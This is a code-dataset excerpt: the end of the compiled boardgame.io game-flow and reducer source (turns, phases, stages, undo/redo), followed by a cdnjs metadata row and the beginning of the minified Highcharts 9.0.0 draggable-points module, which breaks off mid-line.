arg: shouldEndPhase,
turn: state.ctx.turn,
phase: state.ctx.phase,
automatic: true,
});
continue;
}
// Check if we should end the turn.
if ([OnMove, UpdateStage, UpdateActivePlayers].includes(fn)) {
const shouldEndTurn = ShouldEndTurn(state);
if (shouldEndTurn) {
events.push({
fn: EndTurn,
arg: shouldEndTurn,
turn: state.ctx.turn,
phase: state.ctx.phase,
automatic: true,
});
continue;
}
}
events.push(...next);
}
return state;
}
///////////
// Start //
///////////
function StartGame(state, { next }) {
next.push({ fn: StartPhase });
return state;
}
function StartPhase(state, { next }) {
let { G, ctx } = state;
const phaseConfig = GetPhase(ctx);
// Run any phase setup code provided by the user.
G = phaseConfig.wrapped.onBegin(state);
next.push({ fn: StartTurn });
return { ...state, G, ctx };
}
function StartTurn(state, { currentPlayer }) {
let { ctx } = state;
const phaseConfig = GetPhase(ctx);
// Initialize the turn order state.
if (currentPlayer) {
ctx = { ...ctx, currentPlayer };
if (phaseConfig.turn.activePlayers) {
ctx = SetActivePlayers(ctx, phaseConfig.turn.activePlayers);
}
}
else {
// This is only called at the beginning of the phase
// when there is no currentPlayer yet.
ctx = InitTurnOrderState(state, phaseConfig.turn);
}
const turn = ctx.turn + 1;
ctx = { ...ctx, turn, numMoves: 0, _prevActivePlayers: [] };
const G = phaseConfig.turn.wrapped.onBegin({ ...state, ctx });
return { ...state, G, ctx, _undo: [], _redo: [] };
}
////////////
// Update //
////////////
function UpdatePhase(state, { arg, next, phase }) {
const phaseConfig = GetPhase({ phase });
let { ctx } = state;
if (arg && arg.next) {
if (arg.next in phaseMap) {
ctx = { ...ctx, phase: arg.next };
}
else {
error('invalid phase: ' + arg.next);
return state;
}
}
else {
ctx = { ...ctx, phase: phaseConfig.wrapped.next(state) || null };
}
state = { ...state, ctx };
// Start the new phase.
next.push({ fn: StartPhase });
return state;
}
function UpdateTurn(state, { arg, currentPlayer, next }) {
let { G, ctx } = state;
const phaseConfig = GetPhase(ctx);
// Update turn order state.
const { endPhase, ctx: newCtx } = UpdateTurnOrderState(state, currentPlayer, phaseConfig.turn, arg);
ctx = newCtx;
state = { ...state, G, ctx };
if (endPhase) {
next.push({ fn: EndPhase, turn: ctx.turn, phase: ctx.phase });
}
else {
next.push({ fn: StartTurn, currentPlayer: ctx.currentPlayer });
}
return state;
}
function UpdateStage(state, { arg, playerID }) {
if (typeof arg === 'string' || arg === Stage.NULL) {
arg = { stage: arg };
}
if (typeof arg !== 'object')
return state;
let { ctx } = state;
let { activePlayers, _activePlayersMoveLimit, _activePlayersNumMoves } = ctx;
// Checking if stage is valid, even Stage.NULL
if (arg.stage !== undefined) {
if (activePlayers === null) {
activePlayers = {};
}
activePlayers[playerID] = arg.stage;
_activePlayersNumMoves[playerID] = 0;
if (arg.moveLimit) {
if (_activePlayersMoveLimit === null) {
_activePlayersMoveLimit = {};
}
_activePlayersMoveLimit[playerID] = arg.moveLimit;
}
}
ctx = {
...ctx,
activePlayers,
_activePlayersMoveLimit,
_activePlayersNumMoves,
};
return { ...state, ctx };
}
function UpdateActivePlayers(state, { arg }) {
return { ...state, ctx: SetActivePlayers(state.ctx, arg) };
}
///////////////
// ShouldEnd //
///////////////
function ShouldEndGame(state) {
return wrapped.endIf(state);
}
function ShouldEndPhase(state) {
const phaseConfig = GetPhase(state.ctx);
return phaseConfig.wrapped.endIf(state);
}
function ShouldEndTurn(state) {
const phaseConfig = GetPhase(state.ctx);
// End the turn if the required number of moves has been made.
const currentPlayerMoves = state.ctx.numMoves || 0;
if (phaseConfig.turn.moveLimit &&
currentPlayerMoves >= phaseConfig.turn.moveLimit) {
return true;
}
return phaseConfig.turn.wrapped.endIf(state);
}
/////////
// End //
/////////
function EndGame(state, { arg, phase }) {
state = EndPhase(state, { phase });
if (arg === undefined) {
arg = true;
}
state = { ...state, ctx: { ...state.ctx, gameover: arg } };
// Run game end hook.
const G = wrapped.onEnd(state);
return { ...state, G };
}
function EndPhase(state, { arg, next, turn: initialTurn, automatic }) {
// End the turn first.
state = EndTurn(state, { turn: initialTurn, force: true, automatic: true });
const { phase, turn } = state.ctx;
if (next) {
next.push({ fn: UpdatePhase, arg, phase });
}
// If we aren't in a phase, there is nothing else to do.
if (phase === null) {
return state;
}
// Run any cleanup code for the phase that is about to end.
const phaseConfig = GetPhase(state.ctx);
const G = phaseConfig.wrapped.onEnd(state);
// Reset the phase.
const ctx = { ...state.ctx, phase: null };
// Add log entry.
const action = gameEvent('endPhase', arg);
const { _stateID } = state;
const logEntry = { action, _stateID, turn, phase };
if (automatic)
logEntry.automatic = true;
const deltalog = [...(state.deltalog || []), logEntry];
return { ...state, G, ctx, deltalog };
}
function EndTurn(state, { arg, next, turn: initialTurn, force, automatic, playerID }) {
// This is not the turn that EndTurn was originally
// called for. The turn was probably ended some other way.
if (initialTurn !== state.ctx.turn) {
return state;
}
const { currentPlayer, numMoves, phase, turn } = state.ctx;
const phaseConfig = GetPhase(state.ctx);
// Prevent ending the turn if moveLimit hasn't been reached.
const currentPlayerMoves = numMoves || 0;
if (!force &&
phaseConfig.turn.moveLimit &&
currentPlayerMoves < phaseConfig.turn.moveLimit) {
info(`cannot end turn before making ${phaseConfig.turn.moveLimit} moves`);
return state;
}
// Run turn-end triggers.
const G = phaseConfig.turn.wrapped.onEnd(state);
if (next) {
next.push({ fn: UpdateTurn, arg, currentPlayer });
}
// Reset activePlayers.
let ctx = { ...state.ctx, activePlayers: null };
// Remove player from playerOrder
if (arg && arg.remove) {
playerID = playerID || currentPlayer;
const playOrder = ctx.playOrder.filter((i) => i != playerID);
const playOrderPos = ctx.playOrderPos > playOrder.length - 1 ? 0 : ctx.playOrderPos;
ctx = { ...ctx, playOrder, playOrderPos };
if (playOrder.length === 0) {
next.push({ fn: EndPhase, turn, phase });
return state;
}
}
// Create log entry.
const action = gameEvent('endTurn', arg);
const { _stateID } = state;
const logEntry = { action, _stateID, turn, phase };
if (automatic)
logEntry.automatic = true;
const deltalog = [...(state.deltalog || []), logEntry];
return { ...state, G, ctx, deltalog, _undo: [], _redo: [] };
}
function EndStage(state, { arg, next, automatic, playerID }) {
playerID = playerID || state.ctx.currentPlayer;
let { ctx, _stateID } = state;
let { activePlayers, _activePlayersMoveLimit, phase, turn } = ctx;
const playerInStage = activePlayers !== null && playerID in activePlayers;
if (!arg && playerInStage) {
const phaseConfig = GetPhase(ctx);
const stage = phaseConfig.turn.stages[activePlayers[playerID]];
if (stage && stage.next)
arg = stage.next;
}
// Checking if arg is a valid stage, even Stage.NULL
if (next) {
next.push({ fn: UpdateStage, arg, playerID });
}
// If player isn’t in a stage, there is nothing else to do.
if (!playerInStage)
return state;
// Remove player from activePlayers.
activePlayers = { ...activePlayers };
delete activePlayers[playerID];
if (_activePlayersMoveLimit) {
// Remove player from _activePlayersMoveLimit.
_activePlayersMoveLimit = { ..._activePlayersMoveLimit };
delete _activePlayersMoveLimit[playerID];
}
ctx = UpdateActivePlayersOnceEmpty({
...ctx,
activePlayers,
_activePlayersMoveLimit,
});
// Create log entry.
const action = gameEvent('endStage', arg);
const logEntry = { action, _stateID, turn, phase };
if (automatic)
logEntry.automatic = true;
const deltalog = [...(state.deltalog || []), logEntry];
return { ...state, ctx, deltalog };
}
/**
* Retrieves the relevant move that can be played by playerID.
*
* If ctx.activePlayers is set (i.e. one or more players are in some stage),
* then it attempts to find the move inside the stages config for
* that turn. If the stage for a player is '', then the player is
* allowed to make a move (as determined by the phase config), but
* isn't restricted to a particular set as defined in the stage config.
*
* If not, it then looks for the move inside the phase.
*
* If it doesn't find the move there, it looks at the global move definition.
*
* @param {object} ctx
* @param {string} name
* @param {string} playerID
*/
function GetMove(ctx, name, playerID) {
const phaseConfig = GetPhase(ctx);
const stages = phaseConfig.turn.stages;
const { activePlayers } = ctx;
if (activePlayers &&
activePlayers[playerID] !== undefined &&
activePlayers[playerID] !== Stage.NULL &&
stages[activePlayers[playerID]] !== undefined &&
stages[activePlayers[playerID]].moves !== undefined) {
// Check if moves are defined for the player's stage.
const stage = stages[activePlayers[playerID]];
const moves = stage.moves;
if (name in moves) {
return moves[name];
}
}
else if (phaseConfig.moves) {
// Check if moves are defined for the current phase.
if (name in phaseConfig.moves) {
return phaseConfig.moves[name];
}
}
else if (name in moves) {
// Check for the move globally.
return moves[name];
}
return null;
}
function ProcessMove(state, action) {
const { playerID, type } = action;
const { ctx } = state;
const { currentPlayer, activePlayers, _activePlayersMoveLimit } = ctx;
const move = GetMove(ctx, type, playerID);
const shouldCount = !move || typeof move === 'function' || move.noLimit !== true;
let { numMoves, _activePlayersNumMoves } = ctx;
if (shouldCount) {
if (playerID === currentPlayer)
numMoves++;
if (activePlayers)
_activePlayersNumMoves[playerID]++;
}
state = {
...state,
ctx: {
...ctx,
numMoves,
_activePlayersNumMoves,
},
};
if (_activePlayersMoveLimit &&
_activePlayersNumMoves[playerID] >= _activePlayersMoveLimit[playerID]) {
state = EndStage(state, { playerID, automatic: true });
}
const phaseConfig = GetPhase(ctx);
const G = phaseConfig.turn.wrapped.onMove(state);
state = { ...state, G };
const events = [{ fn: OnMove }];
return Process(state, events);
}
function SetStageEvent(state, playerID, arg) {
return Process(state, [{ fn: EndStage, arg, playerID }]);
}
function EndStageEvent(state, playerID) {
return Process(state, [{ fn: EndStage, playerID }]);
}
function SetActivePlayersEvent(state, _playerID, arg) {
return Process(state, [{ fn: UpdateActivePlayers, arg }]);
}
function SetPhaseEvent(state, _playerID, newPhase) {
return Process(state, [
{
fn: EndPhase,
phase: state.ctx.phase,
turn: state.ctx.turn,
arg: { next: newPhase },
},
]);
}
function EndPhaseEvent(state) {
return Process(state, [
{ fn: EndPhase, phase: state.ctx.phase, turn: state.ctx.turn },
]);
}
function EndTurnEvent(state, _playerID, arg) {
return Process(state, [
{ fn: EndTurn, turn: state.ctx.turn, phase: state.ctx.phase, arg },
]);
}
function PassEvent(state, _playerID, arg) {
return Process(state, [
{
fn: EndTurn,
turn: state.ctx.turn,
phase: state.ctx.phase,
force: true,
arg,
},
]);
}
function EndGameEvent(state, _playerID, arg) {
return Process(state, [
{ fn: EndGame, turn: state.ctx.turn, phase: state.ctx.phase, arg },
]);
}
const eventHandlers = {
endStage: EndStageEvent,
setStage: SetStageEvent,
endTurn: EndTurnEvent,
pass: PassEvent,
endPhase: EndPhaseEvent,
setPhase: SetPhaseEvent,
endGame: EndGameEvent,
setActivePlayers: SetActivePlayersEvent,
};
const enabledEventNames = [];
if (events.endTurn !== false) {
enabledEventNames.push('endTurn');
}
if (events.pass !== false) {
enabledEventNames.push('pass');
}
if (events.endPhase !== false) {
enabledEventNames.push('endPhase');
}
if (events.setPhase !== false) {
enabledEventNames.push('setPhase');
}
if (events.endGame !== false) {
enabledEventNames.push('endGame');
}
if (events.setActivePlayers !== false) {
enabledEventNames.push('setActivePlayers');
}
if (events.endStage !== false) {
enabledEventNames.push('endStage');
}
if (events.setStage !== false) {
enabledEventNames.push('setStage');
}
function ProcessEvent(state, action) {
const { type, playerID, args } = action.payload;
if (typeof eventHandlers[type] !== 'function')
return state;
return eventHandlers[type](state, playerID, ...(Array.isArray(args) ? args : [args]));
}
function IsPlayerActive(_G, ctx, playerID) {
if (ctx.activePlayers) {
return playerID in ctx.activePlayers;
}
return ctx.currentPlayer === playerID;
}
return {
ctx: (numPlayers) => ({
numPlayers,
turn: 0,
currentPlayer: '0',
playOrder: [...Array.from({ length: numPlayers })].map((_, i) => i + ''),
playOrderPos: 0,
phase: startingPhase,
activePlayers: null,
}),
init: (state) => {
return Process(state, [{ fn: StartGame }]);
},
isPlayerActive: IsPlayerActive,
eventHandlers,
eventNames: Object.keys(eventHandlers),
enabledEventNames,
moveMap,
moveNames: [...moveNames.values()],
processMove: ProcessMove,
processEvent: ProcessEvent,
getMove: GetMove,
};
}
/*
* Copyright 2017 The boardgame.io Authors
*
* Use of this source code is governed by a MIT-style
* license that can be found in the LICENSE file or at
* https://opensource.org/licenses/MIT.
*/
function IsProcessed(game) {
return game.processMove !== undefined;
}
/**
* Helper to generate the game move reducer. The returned
* reducer has the following signature:
*
* (G, action, ctx) => {}
*
* You can roll your own if you like, or use any Redux
* addon to generate such a reducer.
*
* The convention used in this framework is to
* have action.type contain the name of the move, and
* action.args contain any additional arguments as an
* Array.
*/
function ProcessGameConfig(game) {
// The Game() function has already been called on this
// config object, so just pass it through.
if (IsProcessed(game)) {
return game;
}
if (game.name === undefined)
game.name = 'default';
if (game.deltaState === undefined)
game.deltaState = false;
if (game.disableUndo === undefined)
game.disableUndo = false;
if (game.setup === undefined)
game.setup = () => ({});
if (game.moves === undefined)
game.moves = {};
if (game.playerView === undefined)
game.playerView = (G) => G;
if (game.plugins === undefined)
game.plugins = [];
game.plugins.forEach((plugin) => {
if (plugin.name === undefined) {
throw new Error('Plugin missing name attribute');
}
if (plugin.name.includes(' ')) {
throw new Error(plugin.name + ': Plugin name must not include spaces');
}
});
if (game.name.includes(' ')) {
throw new Error(game.name + ': Game name must not include spaces');
}
const flow = Flow(game);
return {
...game,
flow,
moveNames: flow.moveNames,
pluginNames: game.plugins.map((p) => p.name),
processMove: (state, action) => {
let moveFn = flow.getMove(state.ctx, action.type, action.playerID);
if (IsLongFormMove(moveFn)) {
moveFn = moveFn.move;
}
if (moveFn instanceof Function) {
const fn = FnWrap(moveFn, GameMethod.MOVE, game.plugins);
const ctxWithAPI = {
...EnhanceCtx(state),
playerID: action.playerID,
};
let args = [];
if (action.args !== undefined) {
args = Array.isArray(action.args) ? action.args : [action.args];
}
return fn(state.G, ctxWithAPI, ...args);
}
error(`invalid move object: ${action.type}`);
return state.G;
},
};
}
function IsLongFormMove(move) {
return move instanceof Object && move.move !== undefined;
}
/*
* Copyright 2017 The boardgame.io Authors
*
* Use of this source code is governed by a MIT-style
* license that can be found in the LICENSE file or at
* https://opensource.org/licenses/MIT.
*/
var UpdateErrorType;
(function (UpdateErrorType) {
// The action’s credentials were missing or invalid
UpdateErrorType["UnauthorizedAction"] = "update/unauthorized_action";
// The action’s matchID was not found
UpdateErrorType["MatchNotFound"] = "update/match_not_found";
// Could not apply Patch operation (rfc6902).
UpdateErrorType["PatchFailed"] = "update/patch_failed";
})(UpdateErrorType || (UpdateErrorType = {}));
var ActionErrorType;
(function (ActionErrorType) {
// The action contained a stale state ID
ActionErrorType["StaleStateId"] = "action/stale_state_id";
// The requested move is unknown or not currently available
ActionErrorType["UnavailableMove"] = "action/unavailable_move";
// The move declared it was invalid (INVALID_MOVE constant)
ActionErrorType["InvalidMove"] = "action/invalid_move";
// The player making the action is not currently active
ActionErrorType["InactivePlayer"] = "action/inactive_player";
// The game has finished
ActionErrorType["GameOver"] = "action/gameover";
// The requested action is disabled (e.g. undo/redo, events)
ActionErrorType["ActionDisabled"] = "action/action_disabled";
// The requested action is not currently possible
ActionErrorType["ActionInvalid"] = "action/action_invalid";
// The requested action was declared invalid by a plugin
ActionErrorType["PluginActionInvalid"] = "action/plugin_invalid";
})(ActionErrorType || (ActionErrorType = {}));
/*
* Copyright 2017 The boardgame.io Authors
*
* Use of this source code is governed by a MIT-style
* license that can be found in the LICENSE file or at
* https://opensource.org/licenses/MIT.
*/
/**
* Check if the payload for the passed action contains a playerID.
*/
const actionHasPlayerID = (action) => action.payload.playerID !== null && action.payload.playerID !== undefined;
/**
* Returns true if a move can be undone.
*/
const CanUndoMove = (G, ctx, move) => {
function HasUndoable(move) {
return move.undoable !== undefined;
}
function IsFunction(undoable) {
return undoable instanceof Function;
}
if (!HasUndoable(move)) {
return true;
}
if (IsFunction(move.undoable)) {
return move.undoable(G, ctx);
}
return move.undoable;
};
/**
* Update the undo and redo stacks for a move or event.
*/
function updateUndoRedoState(state, opts) {
if (opts.game.disableUndo)
return state;
const undoEntry = {
G: state.G,
ctx: state.ctx,
plugins: state.plugins,
playerID: opts.action.payload.playerID || state.ctx.currentPlayer,
};
if (opts.action.type === 'MAKE_MOVE') {
undoEntry.moveType = opts.action.payload.type;
}
return {
...state,
_undo: [...state._undo, undoEntry],
// Always reset redo stack when making a move or event
_redo: [],
};
}
/**
* Process state, adding the initial deltalog for this action.
*/
function initializeDeltalog(state, action, move) {
// Create a log entry for this action.
const logEntry = {
action,
_stateID: state._stateID,
turn: state.ctx.turn,
phase: state.ctx.phase,
};
const pluginLogMetadata = state.plugins.log.data.metadata;
if (pluginLogMetadata !== undefined) {
logEntry.metadata = pluginLogMetadata;
}
if (typeof move === 'object' && move.redact === true) {
logEntry.redact = true;
}
return {
...state,
deltalog: [logEntry],
};
}
/**
* Update plugin state after move/event & check if plugins consider the action to be valid.
* @param state Current version of state in the reducer.
* @param oldState State to revert to in case of error.
* @param pluginOpts Plugin configuration options.
* @returns Tuple of the new state updated after flushing plugins and the old
* state augmented with an error if a plugin declared the action invalid.
*/
function flushAndValidatePlugins(state, oldState, pluginOpts) {
const [newState, isInvalid] = FlushAndValidate(state, pluginOpts);
if (!isInvalid)
return [newState];
return [
newState,
WithError(oldState, ActionErrorType.PluginActionInvalid, isInvalid),
];
}
/**
* ExtractTransientsFromState
*
* Split out transients from the a TransientState
*/
function ExtractTransients(transientState) {
if (!transientState) {
// We preserve null for the state for legacy callers, but the transient
// field should be undefined if not present to be consistent with the
// code path below.
return [null, undefined];
}
const { transients, ...state } = transientState;
return [state, transients];
}
/**
* WithError
*
* Augment a State instance with transient error information.
*/
function WithError(state, errorType, payload) {
const error = {
type: errorType,
payload,
};
return {
...state,
transients: {
error,
},
};
}
/**
* Middleware for processing TransientState associated with the reducer
* returned by CreateGameReducer.
* This should pretty much be used everywhere you want realistic state
* transitions and error handling.
*/
const TransientHandlingMiddleware = (store) => (next) => (action) => {
const result = next(action);
switch (action.type) {
case STRIP_TRANSIENTS: {
return result;
}
default: {
const [, transients] = ExtractTransients(store.getState());
if (typeof transients !== 'undefined') {
store.dispatch(stripTransients());
// Dev Note: If parent middleware needs to correlate the spawned
// StripTransients action to the triggering action, instrument here.
//
// This is a bit tricky; for more details, see:
// https://github.com/boardgameio/boardgame.io/pull/940#discussion_r636200648
return {
...result,
transients,
};
}
return result;
}
}
};
/**
* CreateGameReducer
*
* Creates the main game state reducer.
*/
function CreateGameReducer({ game, isClient, }) {
game = ProcessGameConfig(game);
/**
* GameReducer
*
* Redux reducer that maintains the overall game state.
* @param {object} state - The state before the action.
* @param {object} action - A Redux action.
*/
return (stateWithTransients = null, action) => {
let [state /*, transients */] = ExtractTransients(stateWithTransients);
switch (action.type) {
case STRIP_TRANSIENTS: {
// This action indicates that transient metadata in the state has been
// consumed and should now be stripped from the state..
return state;
}
case GAME_EVENT: {
state = { ...state, deltalog: [] };
// Process game events only on the server.
// These events like `endTurn` typically
// contain code that may rely on secret state
// and cannot be computed on the client.
if (isClient) {
return state;
}
// Disallow events once the game is over.
if (state.ctx.gameover !== undefined) {
error(`cannot call event after game end`);
return WithError(state, ActionErrorType.GameOver);
}
// Ignore the event if the player isn't active.
if (actionHasPlayerID(action) &&
!game.flow.isPlayerActive(state.G, state.ctx, action.payload.playerID)) {
error(`disallowed event: ${action.payload.type}`);
return WithError(state, ActionErrorType.InactivePlayer);
}
// Execute plugins.
state = Enhance(state, {
game,
isClient: false,
playerID: action.payload.playerID,
});
// Process event.
let newState = game.flow.processEvent(state, action);
// Execute plugins.
let stateWithError;
[newState, stateWithError] = flushAndValidatePlugins(newState, state, {
game,
isClient: false,
});
if (stateWithError)
return stateWithError;
// Update undo / redo state.
newState = updateUndoRedoState(newState, { game, action });
return { ...newState, _stateID: state._stateID + 1 };
}
case MAKE_MOVE: {
const oldState = (state = { ...state, deltalog: [] });
// Check whether the move is allowed at this time.
const move = game.flow.getMove(state.ctx, action.payload.type, action.payload.playerID || state.ctx.currentPlayer);
if (move === null) {
error(`disallowed move: ${action.payload.type}`);
return WithError(state, ActionErrorType.UnavailableMove);
}
// Don't run move on client if move says so.
if (isClient && move.client === false) {
return state;
}
// Disallow moves once the game is over.
if (state.ctx.gameover !== undefined) {
error(`cannot make move after game end`);
return WithError(state, ActionErrorType.GameOver);
}
// Ignore the move if the player isn't active.
if (actionHasPlayerID(action) &&
!game.flow.isPlayerActive(state.G, state.ctx, action.payload.playerID)) {
error(`disallowed move: ${action.payload.type}`);
return WithError(state, ActionErrorType.InactivePlayer);
}
// Execute plugins.
state = Enhance(state, {
game,
isClient,
playerID: action.payload.playerID,
});
// Process the move.
const G = game.processMove(state, action.payload);
// The game declared the move as invalid.
if (G === INVALID_MOVE) {
error(`invalid move: ${action.payload.type} args: ${action.payload.args}`);
// TODO(#723): Marshal a nice error payload with the processed move.
return WithError(state, ActionErrorType.InvalidMove);
}
const newState = { ...state, G };
// Some plugin indicated that it is not suitable to be
// materialized on the client (and must wait for the server
// response instead).
if (isClient && NoClient(newState, { game })) {
return state;
}
state = newState;
// If we're on the client, just process the move
// and no triggers in multiplayer mode.
// These will be processed on the server, which
// will send back a state update.
if (isClient) {
let stateWithError;
[state, stateWithError] = flushAndValidatePlugins(state, oldState, {
game,
isClient: true,
});
if (stateWithError)
return stateWithError;
return {
...state,
_stateID: state._stateID + 1,
};
}
// On the server, construct the deltalog.
state = initializeDeltalog(state, action, move);
// Allow the flow reducer to process any triggers that happen after moves.
state = game.flow.processMove(state, action.payload);
let stateWithError;
[state, stateWithError] = flushAndValidatePlugins(state, oldState, {
game,
});
if (stateWithError)
return stateWithError;
// Update undo / redo state.
state = updateUndoRedoState(state, { game, action });
return {
...state,
_stateID: state._stateID + 1,
};
}
case RESET:
case UPDATE:
case SYNC: {
return action.state;
}
case UNDO: {
state = { ...state, deltalog: [] };
if (game.disableUndo) {
error('Undo is not enabled');
return WithError(state, ActionErrorType.ActionDisabled);
}
const { G, ctx, _undo, _redo, _stateID } = state;
if (_undo.length < 2) {
error(`No moves to undo`);
return WithError(state, ActionErrorType.ActionInvalid);
}
const last = _undo[_undo.length - 1];
const restore = _undo[_undo.length - 2];
// Only allow players to undo their own moves.
if (actionHasPlayerID(action) &&
action.payload.playerID !== last.playerID) {
error(`Cannot undo other players' moves`);
return WithError(state, ActionErrorType.ActionInvalid);
}
// If undoing a move, check it is undoable.
if (last.moveType) {
const lastMove = game.flow.getMove(restore.ctx, last.moveType, last.playerID);
if (!CanUndoMove(G, ctx, lastMove)) {
error(`Move cannot be undone`);
return WithError(state, ActionErrorType.ActionInvalid);
}
}
state = initializeDeltalog(state, action);
return {
...state,
G: restore.G,
ctx: restore.ctx,
plugins: restore.plugins,
_stateID: _stateID + 1,
_undo: _undo.slice(0, -1),
_redo: [last, ..._redo],
};
}
case REDO: {
state = { ...state, deltalog: [] };
if (game.disableUndo) {
error('Redo is not enabled');
return WithError(state, ActionErrorType.ActionDisabled);
}
const { _undo, _redo, _stateID } = state;
if (_redo.length === 0) {
error(`No moves to redo`);
return WithError(state, ActionErrorType.ActionInvalid);
}
const first = _redo[0];
// Only allow players to redo their own undos.
if (actionHasPlayerID(action) &&
action.payload.playerID !== first.playerID) {
error(`Cannot redo other players' moves`);
return WithError(state, ActionErrorType.ActionInvalid);
}
state = initializeDeltalog(state, action);
return {
...state,
G: first.G,
ctx: first.ctx,
plugins: first.plugins,
_stateID: _stateID + 1,
_undo: [..._undo, first],
_redo: _redo.slice(1),
};
}
case PLUGIN: {
// TODO(#723): Expose error semantics to plugin processing.
return ProcessAction(state, action, { game });
}
case PATCH: {
const oldState = state;
const newState = JSON.parse(JSON.stringify(oldState));
const patchError = applyPatch(newState, action.patch);
const hasError = patchError.some((entry) => entry !== null);
if (hasError) {
error(`Patch ${JSON.stringify(action.patch)} apply failed`);
return WithError(oldState, UpdateErrorType.PatchFailed, patchError);
}
else {
return newState;
}
}
default: {
return state;
}
}
};
}
export { CreateGameReducer as C, IsLongFormMove as I, ProcessGameConfig as P, TransientHandlingMiddleware as T };
|
mit
|
cdnjs/cdnjs
|
ajax/libs/highcharts/9.0.0/modules/draggable-points.js
|
16615
|
/*
Highcharts JS v9.0.0 (2021-02-02)
(c) 2009-2019 Torstein Honsi
License: www.highcharts.com/license
*/
(function(e){"object"===typeof module&&module.exports?(e["default"]=e,module.exports=e):"function"===typeof define&&define.amd?define("highcharts/modules/draggable-points",["highcharts"],function(l){e(l);e.Highcharts=l;return e}):e("undefined"!==typeof Highcharts?Highcharts:void 0)})(function(e){function l(e,l,v,A){e.hasOwnProperty(l)||(e[l]=A.apply(null,v))}e=e?e._modules:{};l(e,"Extensions/DraggablePoints.js",[e["Core/Chart/Chart.js"],e["Core/Globals.js"],e["Core/Series/Point.js"],e["Core/Series/Series.js"],
e["Core/Series/SeriesRegistry.js"],e["Core/Utilities.js"]],function(e,l,v,A,p,m){function C(a){return{left:"right",right:"left",top:"bottom",bottom:"top"}[a]}function M(a){var b=["draggableX","draggableY"],c;r(a.dragDropProps,function(a){a.optionName&&b.push(a.optionName)});for(c=b.length;c--;)if(a.options.dragDrop[b[c]])return!0}function N(a){var b=a.series?a.series.length:0;if(a.hasCartesianSeries&&!a.polar)for(;b--;)if(a.series[b].options.dragDrop&&M(a.series[b]))return!0}function O(a){var b=a.series,
c=b.options.dragDrop||{};a=a.options&&a.options.dragDrop;var d,f;r(b.dragDropProps,function(a){"x"===a.axis&&a.move?d=!0:"y"===a.axis&&a.move&&(f=!0)});return(c.draggableX&&d||c.draggableY&&f)&&!(a&&!1===a.draggableX&&!1===a.draggableY)&&b.yAxis&&b.xAxis}function x(a,b){return"undefined"===typeof a.chartX||"undefined"===typeof a.chartY?b.pointer.normalize(a):a}function y(a,b,c,d){var f=b.map(function(b){return t(a,b,c,d)});return function(){f.forEach(function(a){a()})}}function P(a,b,c){var d=b.dragDropData.origin;
b=d.chartX;d=d.chartY;var f=a.chartX;a=a.chartY;return Math.sqrt((f-b)*(f-b)+(a-d)*(a-d))>c}function Q(a,b,c){var d={chartX:a.chartX,chartY:a.chartY,guideBox:c&&{x:c.attr("x"),y:c.attr("y"),width:c.attr("width"),height:c.attr("height")},points:{}};b.forEach(function(b){var c={};r(b.series.dragDropProps,function(d,f){d=b.series[d.axis+"Axis"];c[f]=b[f];c[f+"Offset"]=d.toPixels(b[f])-(d.horiz?a.chartX:a.chartY)});c.point=b;d.points[b.id]=c});return d}function R(a){var b=a.series,c=[],d=b.options.dragDrop.groupBy;
b.isSeriesBoosting?b.options.data.forEach(function(a,d){c.push((new b.pointClass).init(b,a));c[c.length-1].index=d}):c=b.points;return a.options[d]?c.filter(function(b){return b.options[d]===a.options[d]}):[a]}function F(a,b){var c=R(b),d=b.series,f=d.chart,n;w(d.options.dragDrop&&d.options.dragDrop.liveRedraw,!0)||(f.dragGuideBox=n=d.getGuideBox(c),f.setGuideBoxState("default",d.options.dragDrop.guideBox).add(d.group));f.dragDropData={origin:Q(a,c,n),point:b,groupedPoints:c,isDragging:!0}}function S(a,
b){var c=a.point,d=q(c.series.options.dragDrop,c.options.dragDrop),f={},n=a.updateProp,D={};r(c.series.dragDropProps,function(a,b){if(!n||n===b&&a.resize&&(!a.optionName||!1!==d[a.optionName]))if(n||a.move&&("x"===a.axis&&d.draggableX||"y"===a.axis&&d.draggableY))f[b]=a});(n?[c]:a.groupedPoints).forEach(function(c){D[c.id]={point:c,newValues:c.getDropValues(a.origin,b,f)}});return D}function G(a,b){var c=a.dragDropData.newPoints;b=!1===b?!1:q({duration:400},a.options.chart.animation);a.isDragDropAnimating=
!0;r(c,function(a){a.point.update(a.newValues,!1)});a.redraw(b);setTimeout(function(){delete a.isDragDropAnimating;a.hoverPoint&&!a.dragHandles&&a.hoverPoint.showDragHandles()},b.duration)}function H(a){var b=a.series&&a.series.chart,c=b&&b.dragDropData;!b||!b.dragHandles||c&&(c.isDragging&&c.draggedPastSensitivity||c.isHoveringHandle===a.id)||b.hideDragHandles()}function I(a){var b=0,c;for(c in a)Object.hasOwnProperty.call(a,c)&&b++;return b}function J(a){for(var b in a)if(Object.hasOwnProperty.call(a,
b))return a[b]}function T(a,b){if(!b.zoomOrPanKeyPressed(a)){var c=b.dragDropData;var d=0;if(c&&c.isDragging){var f=c.point;d=f.series.options.dragDrop;a.preventDefault();c.draggedPastSensitivity||(c.draggedPastSensitivity=P(a,b,w(f.options.dragDrop&&f.options.dragDrop.dragSensitivity,d&&d.dragSensitivity,2)));c.draggedPastSensitivity&&(c.newPoints=S(c,a),b=c.newPoints,d=I(b),b=1===d?J(b):null,f.firePointEvent("drag",{origin:c.origin,newPoints:c.newPoints,newPoint:b&&b.newValues,newPointId:b&&b.point.id,
numNewPoints:d,chartX:a.chartX,chartY:a.chartY},function(){var b=f.series,c=b.chart,d=c.dragDropData,e=q(b.options.dragDrop,f.options.dragDrop),g=e.draggableX,k=e.draggableY;b=d.origin;var h=a.chartX-b.chartX,z=a.chartY-b.chartY,u=h;d=d.updateProp;c.inverted&&(h=-z,z=-u);if(w(e.liveRedraw,!0))G(c,!1),f.showDragHandles();else if(d){g=h;c=z;u=f.series;k=u.chart;d=k.dragDropData;e=u.dragDropProps[d.updateProp];var m=d.newPoints[f.id].newValues;var l="function"===typeof e.resizeSide?e.resizeSide(m,f):
e.resizeSide;e.beforeResize&&e.beforeResize(k.dragGuideBox,m,f);k=k.dragGuideBox;u="x"===e.axis&&u.xAxis.reversed||"y"===e.axis&&u.yAxis.reversed?C(l):l;g="x"===e.axis?g-(d.origin.prevdX||0):0;c="y"===e.axis?c-(d.origin.prevdY||0):0;switch(u){case "left":var p={x:k.attr("x")+g,width:Math.max(1,k.attr("width")-g)};break;case "right":p={width:Math.max(1,k.attr("width")+g)};break;case "top":p={y:k.attr("y")+c,height:Math.max(1,k.attr("height")-c)};break;case "bottom":p={height:Math.max(1,k.attr("height")+
